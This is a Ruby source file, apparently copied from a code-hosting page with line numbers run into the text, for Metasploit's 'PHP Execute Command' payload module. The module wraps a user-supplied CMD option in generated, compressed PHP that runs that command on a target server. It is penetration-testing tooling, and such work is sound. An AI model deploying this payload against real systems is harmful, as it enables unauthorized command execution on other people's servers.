Path: blob/master/modules/payloads/singles/php/exec.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Php1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'PHP Execute Command ',16'Description' => 'Execute a single system command',17'Author' => [ 'egypt' ],18'License' => BSD_LICENSE,19'Platform' => 'php',20'Arch' => ARCH_PHP21)22)23register_options(24[25OptString.new('CMD', [ true, 'The command string to execute' ]),26]27)28end2930def php_exec_cmd31# please do not copy me into new code, instead use the #php_exec_cmd method after including Msf::Payload::Php or32# use the PHP adapter payload by selecting any php/unix/cmd/* payload33vars = Rex::RandomIdentifier::Generator.new(language: :php)34shell <<-END_OF_PHP_CODE35#{php_preamble(vars_generator: vars)}36#{php_system_block(vars_generator: vars, cmd: datastore['CMD'])}37END_OF_PHP_CODE3839Rex::Text.compress(shell)40end4142#43# Constructs the payload44#45def generate(_opts = {})46return php_exec_cmd47end48end495051